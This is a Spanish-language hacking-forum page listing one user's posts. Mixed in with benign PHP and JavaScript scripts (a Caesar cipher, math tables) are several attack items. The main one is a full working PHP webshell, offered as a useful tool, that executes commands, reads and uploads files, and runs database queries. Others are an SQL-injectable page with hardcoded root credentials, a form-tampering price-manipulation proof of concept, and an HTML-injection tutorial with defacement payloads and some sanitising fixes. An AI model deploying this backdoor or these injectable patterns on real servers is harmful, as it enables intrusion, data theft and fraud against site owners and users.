Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 2Fac3R

#241
Hacking ShowOff / Re:XSS Persistente Blogger
Enero 19, 2013, 01:57:01 AM
Genial, estaría bien que cuando lo fixeen publiques el vector ;)
Zalu2
#242
Hacking ShowOff / Re:XSS ElHacker.org
Enero 16, 2013, 04:45:06 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que el Admin no lo sabe o ya se murio???

El foro está "desierto" desde hace ya bastante tiempo, nadie se preocupa ya por él, por lo tanto nadie arreglará los bugs...
Zalu2
#243
Python / Re:[PyQt4] CSS Extractor
Enero 03, 2013, 08:59:28 PM
Que buen aporte brot, me sirve bastante para checkear el còdigo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente, iré a darle un ojo  :o
Mira por donde te vengo a ver 11sex.

3Fac2R andas por acà??? xDD

Zalu2
#244
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahi que saber buscar...

PD: Lo que no entiendo es, si ya te leiste millones de pdf y dices que aunque te pasemos los que tenemos quizás ya los hayas leído, no entiendo qué buscas, sé un poco más especifico.
Zalu2
#245
Quize explicarlo de mis palabras y no de la wikipedia, hago enfacis en algo:

"El post es para novatos"

Zalu2
#246
Debido a una pregunta que me han hecho sobre los logs de apache, php y demás, me pidieron la posibilidad de tener un archivo de logs propio (para mayor comodidad) y para ciertos archivos, así que bueno le recomendé la posibilidad de usar la función No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de PHP e hize este pequeña función para uso:

Código: PHP

function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}


la cual la podemos implementar de la siguiente manera:

vulnerable.php
Código: PHP

<?php
function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}
$id = $_GET['id'];
if(!empty($id)){
$conexion = mysql_connect ("127.0.0.1","root","toor");
   mysql_select_db("test", $conexion);
$result = mysql_query ("SELECT * FROM noticias WHERE id=$_GET[id]", $conexion) or die(mysql_error().ErrorLog());
$row = mysql_fetch_array($result);
   echo "<h1>Titulo: $row[titulo]</h1>\n";
   echo "<p><b>Noticia: </b> $row[detalle]</p>\n";
   echo "<i><b>Por: </b>$row[autor]</i>";
} else {
    echo "Pagina no encontrada.";
}
?>



Y así es como lo podemos implementar, y aparte de los logs de apache y php podemos tener uno personalizado con un poco de php, cualquier duda, sugerencia, critica es bienvenida.
Zalu2
#247
Back-end / Php-backdoor [Incluido en BackTrack]
Diciembre 28, 2012, 02:32:38 AM
Últimamente me he dedicado a estudiar algunas webshells en mis tiempos libres y me encontré con esta que es bastante simple y útil, viene entre las herramientas de backtrack con muchas otras más en javascript entre otras cosas.

Código: php

<?php
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\

ob_implicit_flush();
if(isset($_REQUEST['f'])){
        $filename=$_REQUEST['f'];
        $file=fopen("$filename","rb");
        fpassthru($file);
        die;
}
if(isset($_REQUEST['d'])){
        $d=$_REQUEST['d'];
        echo "<pre>";
        if ($handle = opendir("$d")) {
        echo "<h2>listing of $d</h2>";
                   while ($dir = readdir($handle)){
                       if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
                            else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
                       echo "$dir\n";
                       echo "</font></a>";
                }
                       
        } else echo "opendir() failed";
        closedir($handle);
        die ("<hr>");
}
if(isset($_REQUEST['c'])){
    echo "<pre>";
    system($_REQUEST['c']);           
    die;
}
if(isset($_REQUEST['upload'])){

        if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
            else $dir=$_REQUEST['dir'];
        $fname=$HTTP_POST_FILES['file_name']['name'];
        if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
            die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){
   
    $host=$_REQUEST['host'];
    $usr=$_REQUEST['usr'];
    $passwd=$_REQUEST['passwd'];
    $db=$_REQUEST['db'];
    $mquery=$_REQUEST['mquery'];
    mysql_connect("$host", "$usr", "$passwd") or
    die("Could not connect: " . mysql_error());
    mysql_select_db("$db");
    $result = mysql_query("$mquery");
    if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); 
    mysql_free_result($result);
    die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file">   to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost">  user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

database: <input type="text" name="db">  query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>

<!--    http://michaeldaw.org    2006     -->

Espero les sea de utilidad.
Zalu2
#248
Bugs y Exploits / Form-Tampering PoC
Diciembre 28, 2012, 02:30:52 AM
Siguiendo con la práctica y los POC que he estado realizando, me doy cuenta que en esta sección, una de las cosas que falta es este bug llamado "Form Tampering", ya hay bastante información sobre XSS, SQLi, webshells, etc, etc. Así que empecemos.

FORM TAMPERING
Este metodo consiste en modificar los datos "ocultos" del formulario que use la web victima para algun beneficio, en este ejemplo, veremos un simple (bastante sencillo xD) ejemplo sobre un "carrito de compra", para modificar los precios de los productos.

código php
Código: php

<?php
// Form tampering bug PoC
$presupuesto = 100;
$compra = strip_tags($_POST['producto']);
function correcto(){
    global $compra;
    echo "Felicidades $compra comprado correctamente";
}
if(isset($_POST['producto']) && !empty($_POST['producto'])){
    if($presupuesto >= $_POST['v_botella']){
        correcto();
    }else if ($presupuesto >= $_POST['v_cervesa']){
        correcto();
    }else{
        echo "Lo sentimos, no tienes los fondos suficientes";
    }
}else{
    if(isset($_POST['send'])){
        die("Debes seleccionar un producto");
    }
    echo "Tu presupuesto es : $presupuesto";
?>
<form action="" method="POST">
    <select name="producto">
        <option value="Botella"> Botella </option>
        <option value="Cerveza"> Cervesa </option>
    </select>
    <input type="hidden" name="v_botella" value="500">
    <input type="hidden" name="v_cervesa" value="200">
    <input type="submit" name="send" value="Comprar!">
</form>
<?}?>

Como podemos observar, tenemos los precios de los productos en un atributo "hidden". Bien, ¿Cómo podemos aprovecharnos de eso?.


MODIFICANDO CABECERAS HTTP

Lo que vamos a hacer, es "sniffear" lo que nuestro navegador manda al servidor (cabeceras http), vamos a hacer esto con el http live headers (Add-on de Firefox). Despues de instalarlo en nuestro navegador, vamos a la página donde tenemos alojado nuestro PoC y abrimos el add-on, hacemos una petición simplemente "tratando" de comprar un producto y nos damos cuenta que en el live headers nos ha salido la petición http que hemos hecho.

Algo así:

Citar
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

Y:
Citarproducto=Botella&v_botella=500&v_cervesa=200&send=Comprar%21

Ahora vemos que podemos modificar los valores de los productos, cambiamos a 0 y le damos a repetir/replay

Citarproducto=Botella&v_botella=00&v_cervesa=00&send=Comprar%21

Y vuala!  8) , hemos comprado el producto   ;D

Espero les sea de ayuda, cualquier duda, comentario y/o sugerencia publiquen aquí mismo.
Zalu2
#249
Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection (ya muy conocido, así que esto es para novatos!)

CONOCIMIENTOS BASICOS:

- Saber montar un servidor local de pruebas
- Conocer lo basico de HTML, PHP y MySQL


¿En que consiste el HTMLi?

El fallo consiste en la inyecciòn de codigo HTML/JS en una web, el fallo se da cuando un webmaster pide al usuario que ingrese algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en el website del webmaster.


Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R </title>
<body bgcolor="black" text="green" link="white">
<?php
//Se recibe la llamada por $_GET
$inj = $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo $inj;
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi caso lo hago desde localhost asi que queda asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al ejecutarlo nos aparece la imagen con el link de "inyectar!" que hemos puesto en el "else".

Vamos y nos da un :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


INYECTANDO CODIGO:


¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si
ponemos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<h1>2Fac3R

Nos saltaria "2Fac3R" en un encabezado (<h1>), con esto nos damos cuenta que lo que pongamos en la variable "inj" en la URL ($_GET) no lo ejecutaria el navegador...


JUGANDO CON LAS INYECCIONES:

Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas dependiendo el dominio que tengamos sobre HTML, por ejemplo:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<b>0wn3dD By 2Fac3R<p>Este es un defacement<br>por HTMLi

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<s>0wn3dD</s> By <h1>2Fac3R</h1>Este es un defacement<br><font color="RED">por HTMLi</font>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<font size ="10" color="red"><marquee>0wn3DD By 2Fac3R</marquee></font>

Y asi dependiendo de la imaginación de cada quien ;)

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o simplemente que vea nuestra hermosa inyeccion xDD.


GUESTBOOK´S, Y APLICACIONES VULNERABLES:

En muchos sitios encontramos con los famosos "libros de visitas" el cual tiene la finalidad de que el usuario comente sobre la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa aplicación

Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicación web que no filtre esos datos y que los muestre despues.


En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas comodo inyectar mediante la URL, ahora veamos un codigo de ejemplo por POST, el cual funciona por un Formulario:

Código: php
<html>
<head>
<title> HTMLi Tester ($_POST)</title>
<body bgcolor="black" text="green">
<?php
$snd = $_POST['send'];
$it = $_POST['inj'];
if(isset($snd))
{
//Mostramos en pantalla el contenido que viene del Formulario
echo $it;
}else{
echo '
<form action="" method="POST">
<input type="text" name="inj">
<input type="submit" name="send" value="Inyectar!">
</form>
';
}
?>
</body>
</html>


Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, asi que para que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un codigo de un Guestbook codeado por mi usando HTML, PHP y MySQL, logicamente no contiene la seguridad que deberia:

guestbook.php

Código: php
<?php
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
if(isset($_POST['send']))
{
$conexion=mysql_connect($serv,$user,$pass);
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje)
              VALUES ('".$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')", $conexion)
   or die ("Error en la query".mysql_error());
mysql_close($conexion);
echo "Se ha publicado correctamente";
   }else{
        echo '
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
';
}

?>


Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:

Código: php
<?php
# Reemplazar por tus datos:
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
#...............................
$conexion=mysql_connect($serv, $user, $pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre    
while ($dat=mysql_fetch_array($comments))
{
  echo "<b> Autor :</b>".$dat['Autor']."<br>";
  echo "<b> Titulo : </b>".$dat['Titulo']."<br>";
  echo "<b> Mensaje : </b>".$dat['Mensaje']."<br>";
  echo "---------------------------------------------<br>";
}
# Cerramos la conexion...
mysql_close($conexion);
?>



Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer un HTMLi o incluso un XSS.


SECURIZANDO NUESTRO WEBSITE:

Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...)

Opciones:

strip_tags() = Elimina las etiquetas
ejemplo:

<h1>0wnN3D</h1> Nos daria: 0wnN3D (simplemente)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo strip_tags($inj);
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>


htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta
ejemplo:
<h1>0wnN3D</h1> Nos daria: <h1>0wnN3D</h1> (pero no ejecutaria el codigo)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo htmlentities($inj)
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

La opcion que ustedes eligan pues ya depende del caso.
Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina.
Recuerda que esto es para practicar en casa y APRENDER, no para dañar a cada website que te encuentres vulnerable.

COPYRIGHT:

It has Written By 2Fac3R FOR No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#####################################
##                                                                          ##
# Destribución libre, respetando el autor y dedicatoria.  #
##                                                                           ##
######################################
#250
Pides un "mega-tutorial" para defacing?????

Existen cientos de tutoriales sobre distintas vulnerabilidades, no busques sobre "defacing" en sí, sino busca sobre vulnerabilidades, seguridad nivel sistema o web, auditoria, etc...

Dudo si quiera que hayas leido lo suficiente de lo que dices, por ejemplo, lo suficiente de XSS habrás por lo menos ya buscado y buscado algún sistema que sea vulnerable, lo recomendable es XSS Stored para que pruebes de la mejor forma (en un foro o similar).

Por otra parte existen otros como SCD, Blind SQLi, etc, etc... Más que leer, es saber cómo funcionan, no sólamente ir por ahí probando los códigos que te pongan de ejemplo, el defacing es una de dos cosas y depende de quien lo practica, o es de lammers/script kiddies o es de artistas que saben lo que hacen, ojalá y no seas de lo primero.
Zalu2
#251
Dudas y pedidos generales / Re:sql injection
Diciembre 27, 2012, 09:05:53 PM
Estaría bien que publicaras las inyecciones que haces y los datos que te arroja, así todos te podemos ayudar. También existe la posibilidad de que las sentencias se hagan en una base de datos donde no están los datos del admin, para ello revisa la tabla "schemata" dentro de la information_schema.
Zalu2
#252
Que bueno que te gusta brot, cuando mandé el reporte me refería a cambiarlo a la sección general de Programación Web, ya que lo puse en PHP, pero no hay pro jojojo
Zalu2
#253
Back-end / Re:[php] Admin Panel finder
Diciembre 23, 2012, 01:56:31 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenisimo! en underc0de tenemos uno similar hecho por Turka
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esta excelente! muchas gracias!

Es genial la cantidad de servicios que se han montado, son bastante útiles, por mi parte me llevo varios a bookmarks para usarlos ;)
Zalu2
#254
Back-end / Re:[PHP]Convertidor By 2Fac3R v1.0
Diciembre 23, 2012, 01:54:31 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Has posteado muy buenos scripts! Algunos se podrian poner online como servicios!

Gracias brot, los códigos los tengo desde hace tiempo, se pueden mejorar bastante, si quieres poner alguno de servicio de uc0de no hay problema.
Zalu2
#255
Back-end / ¿Cuántos dias tengo de vida?
Diciembre 23, 2012, 12:58:42 AM
Me he puesto a revisar unos códigos que tenía y se me ocurrió hacer algo para saber cuántos dias tengo de vida xDD, entre aburrimiento, curiosidad y algo de pensar hice el siguiente code:


Código: php
<?php
# Remplaza por tus datos
$year = ;
$mes = ;
$dia = ;
# .......................
$nacimiento = mktime(0,0,0,$mes,$dia,$year);
$hoy = time();
$resta = $hoy - $nacimiento;
$total = round($resta/86400);
echo "Tienes $total d&iacute;as de vida";
?>



Este tipo de códigos nos sirven no solo para saber cuántos dias tenemos de vida, pueden ser imaginativos y usarlo para diferentes fines.
#256
Esta es la versión simple con la que empezó el proyecto antes de que se hiciera más complejo, es bastante útil si necesitan tener resultados automáticos y rápidos de forma automatizada con javascript  ;D

Código: javascript
<script>
/*
    Funciones Matemáticas [JS] By 2Fac3R
*/
if(valor = parseInt(prompt("Ingresa el valor de X"))){ // obtenemos el valor y lo hacemos entero
    document.write('<table border="1"><th><b>X</b></th> <th><b>Y</b></th>');
    for(i=0;i<6;i++){    // Nos mostrara 6 resultados
        fun = valor*13;  // Aqui la función matemática
        document.write("<tr><td>"+valor.toFixed(1)+"</td><td>"+fun.toFixed(1)+"</td></tr>");
        valor = valor + 0.1; // le sumamos decimales
    }
    document.write("</table>");
}else{ // Si el valor no es numerico
    alert("Ingrese un valor numerico");
    document.write("Ningun valor fue ingresado, <a href='funcmate2.html'>Regresar!</a>");
}
</script>



Espero les sea de utilidad.
Zalu2
#257
Back-end / Resolver funciones matemáticas By 2Fac3R
Diciembre 23, 2012, 12:54:15 AM
Despues de haberlo probado en javascript, me dieron ganas de hacerlo en php, hace que aquí les dejo el código viejo xD del php que hice.


Código: php
<?php
/*
    Resolver funciones matemáticas By 2Fac3R
*/
$valor = (int)$_POST['valor'];  // Valor de X
$limite = (int)$_POST['res'];    // Numero de veces a mostrar resultados
$send = $_POST['send']; // Variable del envio
if(isset($send) && !empty($valor)&&($limite)){ // Comprobamos que se hayan ingresado datos
        echo '
            <table border="1">
            <th>X</th><th>Y</th>
            ';
        for($i=0;$i<$limite;$i++){ // Creando la tabla...
            $func = $valor*13; // Aqui iría la funcion
            $valor = $valor+0.1; // Le sumamos 0.1 en cada iteraccion
            echo '<tr><td>'.$valor.'</td><td>'.$func.'</td></tr>
            ';
            }
            echo '</table><br>';

}else{ // Sino que muestre el formulario
?>
<form action="" method="POST">
    Ingresa el valor de X: <input type="text" name="valor" size="4" maxlength="5" title="Maximo 5 caracteres"> <br>
    Cuantos resultados deseas mostrar? <input type="text" name="res" size="5" maxlength="5" title="Maximo 99999 resultados"> <br>
    <input type="submit" name="send" value="Test!">
</form>
<?
}
?>



Dudas, sugerencias, criticas, etc... Son bienvenidas..
Zalu2
#258
En esta ocasión me he decidido a publicar este "proyecto" que hice en colaboración con un amigo, hace ya bastante tiempo, creo que es muy útil para aquellos que les gusten las matemáticas y/o necesiten de un sistema automatizado para resolver funciones matemáticas de una forma fácil y rápida.

Lo que hace la tool es tabular los resultados en una tabla, el valor de X (en aumento) y el resultado (Y) basado en la función que le agreguemos en el código.

La desventaja es que hay que tener conocimientos básicos de funciones de javascript para manejar variables matemáticas.


Código: JavaScript
<!--
     RESOLVER FUNCIONES MATEMÁTICAS BY SkippyCreammy & 2Fac3R
-->
<input type="button" value="Click aqui para agregar el valor de X" onclick="fun()">
<script>
    function fun() {
        var x = (prompt("Valor inicial de X:"));
        if(isNaN(x)||x>10||x<-20) { //Si X no es un numero o es mayor a 10 y -20
            alert("X debe ser un numero entre -20 y 10")
            fun();
            } else {
        if( x.charAt(0) == "-" ) { //Si x es negativo
            x = x.substring(1,x.length); // quitarle el signo "-"
            if(x.indexOf(".") == true) { // si son decimales
                x = "-"+x;
                decimales(x);
                } else { //si son enteros
                x = "-"+x;
                enteros(x);
                }
            } else { //Si x es positivo
            if(x.indexOf(".") == true) { // y con decimales
                decimales(x);
                } else { // si x es entero
                enteros(x);
                }
            }
        }
    }

        function decimales(x) {
        document.write("<table border='1'><th>X</th><th>Y</th>");
            x = parseFloat(x); //pasamos x a numeros con decimales
            limit = x + parseFloat(1.0); //agregamos el valor final de x
                while(x<limit) {
                resul = ((Math.pow(x,2))) + (5 * x) - 2;
                document.write("<tr><td>"+x.toFixed(1)+"</td><td>"+resul.toFixed(1)+"</td></tr>");
                x += parseFloat(0.1);
                if (x>limit) {
                    break;
                    }
                }
            document.write("</table>");
            }

        function enteros(x) {
        document.write("<table border='1'><th>X</th><th>Y</th>");
        x = parseInt(x); //pasamos x a enteros
        limit = x + parseInt(10); //agregamos el valor final de x
        for(x;x<=limit;x++) {
            resul = ((Math.pow(x,2))) + (5 * x) - 2;
            document.write("<tr><td>"+x+"</td><td>"+resul+"</td></tr>");
            if (x>limit) {
                break;
                }
            }
        document.write("</table>");
            }
</script>



Espero les sea de utilidad para las tareas, como nos fue a nosotros xD.
Zalu2
#259
Back-end / Escritura estilo facebook automatizada xD
Diciembre 23, 2012, 12:49:50 AM
Sigo probando códigos (esperando un amigo para irme a jugar ajedrez xD) y mirando en Facebook, la red social de moda hoy en dia se me ocurrio hacer un código que automatizara la forma rara de escribir que tiene la gente en este tipo de redes sociales xD.


Código: php
<?php
/*
    Escritura estilo facebook automatizado xDD
        By 2Fac3R
*/
$abc = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$replace = array('4','8','c','d','3','f','6','h','1','j','k','l','m','n','0','p','q','r','5','t','u','v','w','x','2');
$msj = 'Probando escritura estilo facebook'; // Tu mensaje aquí
echo str_replace($abc,$replace,$msj);
?>




Como verán, el código es bastante simple, y no myu útil, pero sirve de práctica xDD.
Zalu2
#260
Back-end / Caesar cipher By 2Fac3R
Diciembre 23, 2012, 12:45:58 AM
Les dejo un código que hize cuando estaba metido en los wargames y la cryptografia y que más que prácticar programando, el simple cifrado caesar.
Código: php

<style type="text/css" media="all">
    *{
        color:green;
       
        text-align:center;
    }
    .contenido{
        text-align:justify;
    }
</style>
<?php
$texto = $_POST['texto'];
$c_text = $_POST['ciphertext'];
$cifrar = $_POST['cifrar'];
$descifrar = $_POST['descifrar'];
$abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$cada = $_POST['cada'];
function cifrar($abc,$cada,$texto,$opc){

    $partes = explode(' ',$texto);
        foreach($partes as $parte){
            for($i=0;$i < count($texto);$i++){
                $x = 0;
                while($x < strlen($parte)){
                    $found = strpos($abc,$parte{$x++});
                    echo $abc{$found+$cada};
                }
            echo " ";
            }
        }
}

function descifrar($abc,$cada,$c_text){
    $partes = explode(' ',$c_text);
        foreach($partes as $parte){
            for($i=0;$i < count($c_text);$i++){
                $x = 0;
                while($x < strlen($parte)){
                    $found = strpos($abc,$parte{$x++});
                    echo $abc{$found-$cada};
                }
            echo " ";
            }
        }
}

?>
<h1> Caesar cipher By 2Fac3R </h1>
<a href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2b/Caesar3.svg/220px-Caesar3.svg.png" alt="cifrado caesar">
</img></a>
<br><br>
<form action="" method="POST">
<textarea name="texto" cols="80" rows="5" class="contenido"><?

    echo isset($descifrar)&&($cada) ? descifrar($abc,$cada,$c_text) : 'Encrypt';

?></textarea> <br>
<button type="submit" name="cifrar"> Cifrar </button>
<button type="submit" name="descifrar"> Descifrar </button> <br>
<textarea name="ciphertext" cols="80" rows="5" class="contenido"><?

    echo isset($cifrar)&&($cada) ? cifrar($abc,$cada,$texto,1) : 'Decrypt';

?></textarea> <br>
Salto :<input type="number" name="cada" size="1" maxlength="2" value="2"> <!-- 2 por defecto -->
</form>
El <i>cifrado C&eacute;sar</i> mueve cada letra un determinado n&uacute;mero de espacios en el alfabeto.
    Por ejemplo, con un desplazamiento de 3, la <b>A</b> seria sustituida por la <b>D</b> (situada 3 lugares a
    la derecha de la A ), la <b>B</b> seria reemplazada por la <b>E</b>, etc.<br>
     <a style="color:blue" href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">Mas info!.</a>



Espero les sirva a alguien.
Zalu2